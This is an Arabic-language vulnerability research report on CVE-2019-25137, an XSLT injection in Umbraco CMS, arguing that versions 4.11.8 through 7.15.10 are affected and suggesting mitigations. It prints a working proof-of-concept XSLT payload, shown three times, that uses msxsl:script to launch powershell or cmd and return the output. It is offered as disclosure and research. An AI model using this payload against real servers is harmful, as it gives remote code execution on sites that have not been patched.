
تقرير يستقصي المدى الكامل لـ CVE-2019-25137
CVE-2019-25137 هي ثغرة حقن XSLT في نظام إدارة المحتوى أومبراكو (Umbraco CMS). توجد الثغرة في صفحة مُصوِّر XSLT (تحويلات لغة الأنماط الموسعة). URI الضعيف لهذه الصفحة هو /umbraco/developer/Xslt/xsltVisualize.aspx.
يمكن أن يؤدي استغلال مُصوِّر XSLT بنجاح إلى تنفيذ كود C# على النظام المستهدف. لاستغلال الثغرة، يحتاج المستخدم إلى بيانات اعتماد إدارية صالحة لنظام Umbraco CMS.
يستخدم إثبات المفهوم لـ CVE-2019-25137 عنصر msxsl:script. يسمح هذا العنصر باستخدام لغات برمجة إضافية في تحويلات XSLT، مثل C#.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>
سيحاول الحمولة XSLT تنفيذ كود C# التالي.
string cmd = "<additional arguments>";
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "<Can be powershell or cmd>";
proc.StartInfo.Arguments = cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
string output = proc.StandardOutput.ReadToEnd();
return output;
يتم تفصيل كود C# إلى العبارات التالية - جميع التعريفات موثقة على موقع مايكروسوفت.
| الوظيفة | نظرة عامة |
|---|---|
| System.Diagnostics.Process proc | توفر الوصول إلى العمليات المحلية والبعيدة وتمكن المستخدم من بدء وإيقاف عمليات النظام المحلية، هذه العملية تسمى "proc". |
| proc.StartInfo.FileName | تحدد اسم التطبيق الذي يريد المستخدم تشغيله (powershell أو cmd). |
| proc.StartInfo.Arguments | تحدد أي متغيرات إضافية قد تكون مطلوبة بواسطة FileName. |
| proc.StartInfo.UseShellExecute | قيمة تشير إلى ما إذا كان يجب استخدام غلاف نظام التشغيل لبدء العملية، يتم تعيينها على false لأنه يتم استخدام powershell أو cmd. |
| proc.StartInfo.RedirectStandardOutput | قيمة تشير إلى ما إذا كان يتم كتابة مخرجات التطبيق إلى دفق StandardOutput، يتم تعيينها على true. |
| proc.Start() | يبدأ مورد العملية "proc" ويربطه بمكون Process. |
| string output = proc.StandardOutput.ReadToEnd() | يقوم بعمليات قراءة متزامنة على "proc" ويوجهها إلى المتغير "output". |
نظرًا لأن أومبراكو هو نظام إدارة محتوى مفتوح المصدر، حصلت على إصدارات تثبيت مختلفة من موقعه الإلكتروني لتحديد الإصدارات، القديمة والجديدة، التي قد لا تزال تحتوي على xsltVisualize.aspx.

يشير التحليل إلى أن ملف xsltVisualize.aspx موجود في إصدارات Umbraco CMS من 4.11.8 حتى 7.15.10. لم يعد هذا الملف ومجلد التطوير (Development) بالكامل موجودين في الإصدارات 8.0.0 وما فوق.

لإثبات أن الإصدار الأقدم أيضًا معرض لـ CVE-2019-25137، قمت بإعداد مثيل اختباري من Umbraco 4.11.8.

مقارنة ملف xsltVisualize.aspx في Umbraco CMS 4.11.8 مع ذلك الموجود في Umbraco CMS الإصدار 7.12.4 يوضح أنه على الرغم من وجود اختلافات طفيفة، إلا أن وظيفة الصفحة هي نفسها.

لاختبار الاستغلال، يحتاج المستخدم إلى إرسال الحمولة داخل حقل xsltSelection.

<br)
باستخدام الحمولة المقدمة سابقًا، تمكنت من تحقيق تنفيذ كود عن بُعد، مما يشير إلى أن هذا الإصدار معرض أيضًا. الصورة أدناه توضح تشغيل whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

لإثبات أن أحدث إصدار من أومبراكو الذي يحتوي على xsltVisualize.aspx معرض أيضًا، قمت بإعداد مثيل اختباري من Umbraco 7.15.10.

مقارنة ملف xsltVisualize.aspx في Umbraco CMS 7.15.10 مع ذلك الموجود في Umbraco CMS الإصدار 7.12.4 يوضح أنهما متطابقان.

التنقل إلى URI /umbraco/developer/Xslt/xsltVisualize.aspx يشير إلى أن الملف موجود بالفعل.

باستخدام نفس الحمولة المقدمة سابقًا، تمكنت من تحقيق تنفيذ كود عن بُعد مرة أخرى، مما يشير إلى أن هذا الإصدار معرض أيضًا. الصورة أدناه توضح تشغيل whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

توضح هذه الأمثلة أن CVE-2019-25137 موجودة في إصدارات أومبراكو بخلاف 7.12.4. جميع الإصدارات بين 4.11.8 و 7.15.10 تحتوي على الصفحة الضعيفة، وبالتالي يجب تضمينها في تحديث CVE. يمكن التخفيف من CVE-2019-25137 عن طريق إزالة الوصول إلى ملف xsltVisualize.aspx أو التحديث إلى أحدث إصدار من أومبراكو.
CVE الأصلي - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137
تاريخ إصدار أومبراكو - https://our.umbraco.com/download/releases/774
إصدارات أومبراكو - https://our.umbraco.com/download/releases
تعريف XSLT - https://en.wikipedia.org/wiki/XSLT
الحمولة المستخدمة - https://github.com/noraj/Umbraco-RCE